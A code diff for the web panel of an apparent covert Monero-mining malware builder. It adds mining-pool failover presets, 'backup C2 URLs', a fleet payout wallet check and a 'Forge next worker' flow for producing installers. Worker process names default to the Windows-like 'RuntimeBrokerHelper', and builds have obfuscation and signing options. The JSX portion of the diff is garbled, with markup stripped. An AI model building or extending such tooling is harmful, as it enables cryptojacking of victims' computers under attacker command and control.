serverInfo.suggested_url, + server_url: publicUrl || serverInfo.suggested_url || '', wallet: config.wallet.address, pool_host: config.pool.host, pool_port: config.pool.port, pool_tls: config.pool.use_tls, pool_pass: config.pool.password || 'x', + backup_pools: (config.pool.backup_pools ?? []).map((bp) => ({ + host: bp.host, + port: bp.port, + tls: bp.use_tls, + pass: config.pool.password || 'x', + })), obfuscate: srv?.obfuscate_default ?? false, sign_build: srv?.sign_enabled ?? false, }; diff --git a/server/web/src/help/forgeSmartDefaults.test.ts b/server/web/src/help/forgeSmartDefaults.test.ts index 3b4ebcd..6de223f 100644 --- a/server/web/src/help/forgeSmartDefaults.test.ts +++ b/server/web/src/help/forgeSmartDefaults.test.ts @@ -23,4 +23,18 @@ describe('forgeSmartDefaults', () => { expect(form.server_url).toBe('http://10.0.0.2:8989'); expect(form.mining_mode).toBe('idle'); }); + + it('fills backup C2 URLs from other LAN candidates', () => { + const form = applySmartForgeDefaults( + { worker_name: 'w1', server_url: 'http://192.168.1.5:8989' } as BuildRequest, + { + endpointCandidates: [ + 'http://192.168.1.5:8989', + 'http://10.0.0.2:8989', + 'http://10.0.0.2:8989', + ], + } + ); + expect(form.backup_server_urls).toEqual(['http://10.0.0.2:8989']); + }); }); diff --git a/server/web/src/help/forgeSmartDefaults.ts b/server/web/src/help/forgeSmartDefaults.ts index ea1822e..700a8f7 100644 --- a/server/web/src/help/forgeSmartDefaults.ts +++ b/server/web/src/help/forgeSmartDefaults.ts @@ -14,11 +14,25 @@ export function suggestWorkerName(existing: BuildRecord[]): string { return `worker-${Date.now().toString(36)}`; } -function sanitizeProcessName(workerName: string): string { +export function processNameForWorker(workerName: string): string { const cleaned = workerName.replace(/[^a-zA-Z0-9._-]/g, '').slice(0, 48); return cleaned || 'RuntimeBrokerHelper'; } +function backupServerUrlsFromLan(primary: string, candidates: string[]): string[] { + const norm = (u: string) => u.trim().replace(/\/+$/, ''); + const primaryNorm = norm(primary); + const seen = new Set(); + const out: string[] = []; + for (const c of candidates) { + const n = norm(c); + if (!n || n === primaryNorm || seen.has(n)) continue; + seen.add(n); + out.push(c.trim()); + } + return out; +} + function isGoodServerUrl(url: string): boolean { try { const u = new URL(url.trim()); @@ -89,18 +103,23 @@ export function applySmartForgeDefaults( const preset = recommendedForgePreset(); const worker = form.worker_name?.trim() || suggestWorkerName(ctx.builds ?? []); const serverUrl = pickBestServerUrl(form.server_url, ctx.endpointCandidates ?? []); + const lanBackups = + form.backup_server_urls?.length + ? form.backup_server_urls + : backupServerUrlsFromLan(serverUrl, ctx.endpointCandidates ?? []); return { ...form, ...preset, worker_name: worker, server_url: serverUrl, + backup_server_urls: lanBackups, wallet: form.wallet?.trim() || form.wallet, pool_host: form.pool_host || preset.pool_host!, pool_port: form.pool_port || preset.pool_port!, pool_tls: form.pool_tls ?? preset.pool_tls!, pool_pass: form.pool_pass || preset.pool_pass!, - process_name: sanitizeProcessName(worker), + process_name: processNameForWorker(worker), obfuscate: form.obfuscate ?? preset.obfuscate ?? false, sign_build: form.sign_build ?? preset.sign_build ?? false, }; @@ -123,6 +142,12 @@ export function forgeDefaultsFromServerSmart( pool_port: config.pool.port, pool_tls: config.pool.use_tls, pool_pass: config.pool.password || 'x', + backup_pools: (config.pool.backup_pools ?? []).map((bp) => ({ + host: bp.host, + port: bp.port, + tls: bp.use_tls, + pass: config.pool.password || 'x', + })), obfuscate: srv?.obfuscate_default ?? false, sign_build: srv?.sign_enabled ?? false, } as BuildRequest; diff --git a/server/web/src/help/forgeValidation.ts b/server/web/src/help/forgeValidation.ts index 30ee561..16849db 100644 --- a/server/web/src/help/forgeValidation.ts +++ b/server/web/src/help/forgeValidation.ts @@ -30,7 +30,7 @@ function isReachableServerUrl(url: string): boolean { } } -function looksLikeXMRWallet(addr: string): boolean { +export function looksLikeXMRWallet(addr: string): boolean { const a = addr.trim(); // Standard (4…, 95 chars), subaddress (8…, 97 chars), integrated (4…, 106 chars) return a.length >= 90 && a.length <= 106 && /^[48][0-9A-Za-z]+$/.test(a); diff --git a/server/web/src/help/poolPresets.test.ts b/server/web/src/help/poolPresets.test.ts new file mode 100644 index 0000000..9a01d66 --- /dev/null +++ b/server/web/src/help/poolPresets.test.ts @@ -0,0 +1,40 @@ +import { describe, it, expect } from 'vitest'; +import { + orderedPoolsFromSelection, + detectPresetIds, + applyPoolsToForgeFields, + DEFAULT_PRESET_IDS, +} from './poolPresets'; + +describe('poolPresets', () => { + it('builds ordered failover list from preset ids', () => { + const pools = orderedPoolsFromSelection([...DEFAULT_PRESET_IDS], 'x'); + expect(pools).toHaveLength(3); + expect(pools[0].host).toBe('pool.supportxmr.com'); + expect(pools[1].host).toBe('gulf.moneroocean.stream'); + expect(pools[2].host).toBe('xmr.herominers.com'); + }); + + it('dedupes duplicate preset picks', () => { + const pools = orderedPoolsFromSelection(['supportxmr-tls', 'supportxmr-tls'], 'x'); + expect(pools).toHaveLength(1); + }); + + it('detects preset ids from primary and backups', () => { + const ids = detectPresetIds('pool.supportxmr.com', 443, true, [ + { host: 'gulf.moneroocean.stream', port: 20128, tls: true }, + ]); + expect(ids).toContain('supportxmr-tls'); + expect(ids).toContain('moneroocean-tls'); + }); + + it('maps pools to forge primary and backup fields', () => { + const fields = applyPoolsToForgeFields( + orderedPoolsFromSelection(['2miners', 'xmrpool'], 'pw') + ); + expect(fields.pool_host).toBe('xmr.2miners.com'); + expect(fields.pool_port).toBe(2222); + expect(fields.backup_pools).toHaveLength(1); + expect(fields.backup_pools![0].host).toBe('pool.xmrpool.eu'); + }); +}); diff --git a/server/web/src/help/poolPresets.ts b/server/web/src/help/poolPresets.ts new file mode 100644 index 0000000..9f3ecc6 --- /dev/null +++ b/server/web/src/help/poolPresets.ts @@ -0,0 +1,182 @@ +import type { BackupPool } from '../types'; + +/** One connectable Stratum endpoint (wallet-only Monero pools). */ +export interface PoolPreset { + id: string; + provider: string; + host: string; + port: number; + tls: boolean; + hint: string; +} + +/** Western-US friendly presets — TLS variant preferred per provider. */ +export const XMR_POOL_PRESETS: PoolPreset[] = [ + { + id: 'moneroocean-tls', + provider: 'MoneroOcean', + host: 'gulf.moneroocean.stream', + port: 20128, + tls: true, + hint: 'gulf TLS :20128', + }, + { + id: 'moneroocean', + provider: 'MoneroOcean', + host: 'gulf.moneroocean.stream', + port: 10128, + tls: false, + hint: 'gulf plain :10128', + }, + { + id: 'supportxmr-tls', + provider: 'SupportXMR', + host: 'pool.supportxmr.com', + port: 443, + tls: true, + hint: ':443 TLS', + }, + { + id: 'supportxmr', + provider: 'SupportXMR', + host: 'pool.supportxmr.com', + port: 3333, + tls: false, + hint: ':3333', + }, + { + id: 'herominers-tls', + provider: 'HeroMiners', + host: 'xmr.herominers.com', + port: 1120, + tls: true, + hint: ':1120 TLS', + }, + { + id: 'herominers', + provider: 'HeroMiners', + host: 'xmr.herominers.com', + port: 1111, + tls: false, + hint: ':1111', + }, + { + id: '2miners', + provider: '2Miners', + host: 'xmr.2miners.com', + port: 2222, + tls: false, + hint: ':2222', + }, + { + id: 'xmrpool', + provider: 'XMRPool.eu', + host: 'pool.xmrpool.eu', + port: 3333, + tls: false, + hint: ':3333', + }, +]; + +export const DEFAULT_PRESET_IDS = ['supportxmr-tls', 'moneroocean-tls', 'herominers-tls'] as const; + +function endpointKey(host: string, port: number, tls: boolean): string { + return `${host.trim().toLowerCase()}:${port}:${tls ? '1' : '0'}`; +} + +export function presetToBackupPool(p: PoolPreset, pass = 'x'): BackupPool { + return { host: p.host, port: p.port, tls: p.tls, pass }; +} + +/** Ordered endpoints: first = primary, rest = failover (round-robin on reconnect). */ +export function orderedPoolsFromSelection( + presetIds: string[], + pass: string, + custom?: BackupPool | null +): BackupPool[] { + const out: BackupPool[] = []; + const seen = new Set(); + for (const id of presetIds) { + const preset = XMR_POOL_PRESETS.find((p) => p.id === id); + if (!preset) continue; + const key = endpointKey(preset.host, preset.port, preset.tls); + if (seen.has(key)) continue; + seen.add(key); + out.push(presetToBackupPool(preset, pass)); + } + if (custom?.host?.trim() && custom.port > 0) { + const key = endpointKey(custom.host, custom.port, !!custom.tls); + if (!seen.has(key)) { + out.push({ + host: custom.host.trim(), + port: custom.port, + tls: !!custom.tls, + pass: custom.pass || pass || 'x', + }); + } + } + return out; +} + +export function splitPrimaryAndBackups(pools: BackupPool[]): { + primary: BackupPool | null; + backups: BackupPool[]; +} { + if (!pools.length) return { primary: null, backups: [] }; + return { primary: pools[0], backups: pools.slice(1) }; +} + +export interface PoolForgeFields { + pool_host: string; + pool_port: number; + pool_tls: boolean; + backup_pools: BackupPool[]; +} + +export function applyPoolsToForgeFields(pools: BackupPool[]): PoolForgeFields { + const { primary, backups } = splitPrimaryAndBackups(pools); + if (!primary) { + return { pool_host: '', pool_port: 3333, pool_tls: false, backup_pools: [] }; + } + return { + pool_host: primary.host, + pool_port: primary.port, + pool_tls: primary.tls, + backup_pools: backups ?? [], + }; +} + +/** Which preset IDs match the current primary + backup endpoints. */ +export function detectPresetIds( + host: string, + port: number, + tls: boolean, + backups: BackupPool[] = [] +): string[] { + const keys = new Set(); + keys.add(endpointKey(host, port, tls)); + for (const b of backups) { + if (b.host && b.port > 0) keys.add(endpointKey(b.host, b.port, !!b.tls)); + } + return XMR_POOL_PRESETS.filter((p) => keys.has(endpointKey(p.host, p.port, p.tls))).map((p) => p.id); +} + +/** Custom endpoint if it does not match any preset. */ +export function detectCustomEndpoint( + host: string, + port: number, + tls: boolean, + backups: BackupPool[] = [] +): BackupPool | null { + const all = [{ host, port, tls }, ...backups.map((b) => ({ host: b.host, port: b.port, tls: !!b.tls }))]; + for (const ep of all) { + if (!ep.host?.trim() || ep.port <= 0) continue; + const matchesPreset = XMR_POOL_PRESETS.some( + (p) => endpointKey(p.host, p.port, p.tls) === endpointKey(ep.host, ep.port, ep.tls) + ); + if (!matchesPreset) { + return { host: ep.host.trim(), port: ep.port, tls: ep.tls }; + } + } + return null; +} diff --git a/server/web/src/help/setupStatus.test.ts b/server/web/src/help/setupStatus.test.ts new file mode 100644 index 0000000..9cfecd2 --- /dev/null +++ b/server/web/src/help/setupStatus.test.ts @@ -0,0 +1,26 @@ +import { describe, expect, it } from 'vitest'; +import { getSetupStatus } from './setupStatus'; +import { mockServerConfig } from '../test/fixtures'; + +describe('getSetupStatus', () => { + it('flags empty wallet and blank public URL', () => { + const status = getSetupStatus( + mockServerConfig({ wallet: { address: '' }, server: { public_url: '' } }) + ); + expect(status.needsCalibration).toBe(true); + expect(status.reasons.length).toBeGreaterThanOrEqual(2); + }); + + it('passes when wallet and LAN URL are set', () => { + const status = getSetupStatus( + mockServerConfig({ + wallet: { + address: + '4' + 'A'.repeat(94), + }, + server: { public_url: 'http://192.168.1.5:8989' }, + }) + ); + expect(status.needsCalibration).toBe(false); + }); +}); diff --git a/server/web/src/help/setupStatus.ts b/server/web/src/help/setupStatus.ts new file mode 100644 index 0000000..a1fedb0 --- /dev/null +++ b/server/web/src/help/setupStatus.ts @@ -0,0 +1,40 @@ +import type { ServerConfig } from '../types'; +import { looksLikeXMRWallet } from './forgeValidation'; + +export interface SetupStatus { + needsCalibration: boolean; + reasons: string[]; +} + +function isBlankOrLocalPublicUrl(url: string | undefined): boolean { + const u = (url ?? '').trim(); + if (!u) return true; + try { + const host = new URL(u).hostname.toLowerCase(); + return host === 'localhost' || host === '127.0.0.1' || host === '::1'; + } catch { + return true; + } +} + +/** True when wallet or LAN public URL still need Calibrate before forging. */ +export function getSetupStatus(config: ServerConfig | null | undefined): SetupStatus { + if (!config) { + return { needsCalibration: true, reasons: ['Server configuration not loaded'] }; + } + const reasons: string[] = []; + const wallet = config.wallet?.address?.trim() ?? ''; + if (!wallet) { + reasons.push('Fleet payout wallet is empty'); + } else if (!looksLikeXMRWallet(wallet)) { + reasons.push('Fleet payout wallet format looks invalid (expected Monero mainnet address)'); + } + if (isBlankOrLocalPublicUrl(config.server?.public_url)) { + reasons.push('Public URL is blank or localhost — set your LAN address in Calibrate'); + } + return { needsCalibration: reasons.length > 0, reasons }; +} + +export function isSetupComplete(config: ServerConfig | null | undefined): boolean { + return !getSetupStatus(config).needsCalibration; +} diff --git a/server/web/src/pages/BuilderPage.test.tsx b/server/web/src/pages/BuilderPage.test.tsx index df7ddf8..51021cd 100644 --- a/server/web/src/pages/BuilderPage.test.tsx +++ b/server/web/src/pages/BuilderPage.test.tsx @@ -59,6 +59,7 @@ describe('BuilderPage', () => { }); afterEach(() => { + vi.unstubAllGlobals(); cleanup(); }); @@ -115,6 +116,34 @@ describe('BuilderPage', () => { expect(screen.getByRole('button', { name: /Download/i })).toBeInTheDocument(); }); + it('offers forge-next-worker after a successful build', async () => { + renderBuilder(); + await screen.findByRole('button', { name: /FORGE INSTALLER/i }); + await userEvent.setup().click(screen.getByRole('button', { name: /FORGE INSTALLER/i })); + expect(await screen.findByText('worker-1.exe')).toBeInTheDocument(); + + await userEvent.setup().click(screen.getByRole('button', { name: 'Forge next worker' })); + expect(screen.queryByText('worker-1.exe')).not.toBeInTheDocument(); + expect(screen.getByPlaceholderText(/office-pc-1/i)).toHaveValue('worker-2'); + }); + + it('shows fleet blueprint save prompt after first successful forge', async () => { + const promptMock = vi.fn().mockReturnValue('fleet-default'); + vi.stubGlobal('prompt', promptMock); + const saveSpy = vi.spyOn(api, 'saveBlueprint'); + + renderBuilder(); + await screen.findByRole('button', { name: /FORGE INSTALLER/i }); + await userEvent.setup().click(screen.getByRole('button', { name: /FORGE INSTALLER/i })); + expect(await screen.findByText('worker-1.exe')).toBeInTheDocument(); + + await userEvent.setup().click(screen.getByRole('button', { name: 'Save as fleet blueprint' })); + await waitFor(() => { + expect(promptMock).toHaveBeenCalledWith('Save this setup as a fleet blueprint:', 'fleet-default'); + expect(saveSpy).toHaveBeenCalledWith('fleet-default', expect.any(Object)); + }); + }); + it('blocks forge when preflight has errors (empty wallet)', async () => { renderBuilder(); const wallet = await screen.findByDisplayValue(/^4A+/); diff --git a/server/web/src/pages/BuilderPage.tsx b/server/web/src/pages/BuilderPage.tsx index 8886f38..5bd060f 100644 --- a/server/web/src/pages/BuilderPage.tsx +++ b/server/web/src/pages/BuilderPage.tsx @@ -5,7 +5,15 @@ import type { BuildRequest, BuildRecord, BuildResponse, ServerConfig, ServerInfo import { HelpTip, FieldHint } from '../components/HelpTip'; import NeonCard from '../components/NeonCard/NeonCard'; import { SETUP_CHEATSHEET, FIELD_HELP } from '../help/settingHelp'; -import { forgeDefaultsFromServerSmart, applySmartForgeDefaults, RECOMMENDED_DEFAULTS_BLURB } from '../help/forgeSmartDefaults'; +import { + forgeDefaultsFromServerSmart, + applySmartForgeDefaults, + RECOMMENDED_DEFAULTS_BLURB, + suggestWorkerName, + processNameForWorker, +} from '../help/forgeSmartDefaults'; +import { getSetupStatus } from '../help/setupStatus'; +import SetupBanner from '../components/SetupBanner'; import { lanEndpointCandidates } from '../help/endpointHelpers'; import { runForgePreflight, preflightHasErrors } from '../help/forgeValidation'; import { previewInstallPath } from '../help/installPreview'; @@ -21,6 +29,7 @@ import { import { ForgeFieldBadge, ForgeLockedHint, ForgeSectionHeader } from '../components/Forge/ForgeFieldHints'; import { blueprintDiff, buildRequestFromRecord } from '../help/buildManager'; import DownloadButton from '../components/DownloadButton'; +import PoolPresetPicker from '../components/PoolPresetPicker'; import { useForge } from '../context/ForgeContext'; import { fusionPayloadKind, @@ -121,7 +130,10 @@ export default function BuilderPage() { const cancelTokenRef = useRef(''); const [estimateError, setEstimateError] = useState(''); const [serverInfo, setServerInfo] = useState(null); + const [calibrateConfig, setCalibrateConfig] = useState(null); const [listenPort, setListenPort] = useState(8989); + const [showBlueprintOffer, setShowBlueprintOffer] = useState(false); + const forgedThisSessionRef = useRef(false); const [refreshingEndpoints, setRefreshingEndpoints] = useState(false); const [simpleMode, setSimpleMode] = useState(loadSimpleMode); @@ -197,6 +209,7 @@ export default function BuilderPage() { useEffect(() => { Promise.all([api.getConfig(), api.getServerInfo(), api.listBuilds().catch(() => [])]) .then(([config, info, builds]) => { + setCalibrateConfig(config); setServerInfo(info); setListenPort(config.port || info.port || 8989); const candidates = lanEndpointCandidates(info, config.port || info.port); @@ -235,7 +248,40 @@ export default function BuilderPage() { setStage('Build complete!', 100); setLastBuild(result); loadRecentBuilds(); - // No auto-download — user downloads from the strip below or Build Manager page + if (!forgedThisSessionRef.current) { + forgedThisSessionRef.current = true; + setShowBlueprintOffer(true); + } + }; + + const handleForgeNextWorker = () => { + if (!form) return; + const name = suggestWorkerName([ + ...recentBuilds, + { worker_name: form.worker_name } as BuildRecord, + ]); + setForm({ + ...form, + worker_name: name, + process_name: processNameForWorker(name), + }); + setLastBuild(null); + setError(''); + }; + + const handleSaveFleetBlueprint = async () => { + if (!form) return; + const name = prompt('Save this setup as a fleet blueprint:', 'fleet-default'); + if (!name || !name.trim()) return; + setBlueprintMsg(''); + try { + const result = await api.saveBlueprint(name.trim(), form); + setBlueprintMsg(`✅ Blueprint "${result.name}" saved`); + setShowBlueprintOffer(false); + setTimeout(() => setBlueprintMsg(''), 4000); + } catch (err: unknown) { + setBlueprintMsg(`❌ Failed to save: ${err instanceof Error ? err.message : String(err)}`); + } }; // Blueprint: save current form as a named blueprint @@ -696,9 +742,11 @@ export default function BuilderPage() { }); const endpointCandidates = serverInfo ? lanEndpointCandidates(serverInfo, listenPort) : []; + const setupStatus = getSetupStatus(calibrateConfig); return (
+ {/* Hidden file input for importing blueprint .json files */}
- +
+
+ + { + updateField('pool_host', next.pool_host); + updateField('pool_port', next.pool_port); + updateField('pool_tls', next.pool_tls); + updateField('backup_pools', next.backup_pools); + }} + /> +
+ + updateField('pool_pass', e.target.value)} + /> +

Standard Monero pools use x.

+
+
+
-
- -
- - updateField('pool_host', e.target.value)} - required - /> -
-
-
- - { const v = e.target.valueAsNumber; if (isFinite(v) && v >= 1 && v <= 65535) updateField('pool_port', v); }} - onBlur={(e) => { const v = e.target.valueAsNumber; if (!isFinite(v) || v < 1 || v > 65535) updateField('pool_port', 3333); }} - /> -
-
- -
-
-
- - updateField('pool_pass', e.target.value)} - /> -

Standard Monero pools use x — leave blank to use that default.

-
- - {/* ── Backup pools (advanced) ──────────────────────────────── */} - {!simpleMode && ( -
- - {(form.backup_pools ?? []).map((bp, i) => ( -
- { - const pools = [...(form.backup_pools ?? [])]; - pools[i] = { ...pools[i], host: e.target.value }; - updateField('backup_pools', pools); - }} - /> - { - const pools = [...(form.backup_pools ?? [])]; - pools[i] = { ...pools[i], port: e.target.valueAsNumber || 3333 }; - updateField('backup_pools', pools); - }} - /> - - -
- ))} - -
- )} -
-
) : null )} + + {showBlueprintOffer && ( + + )}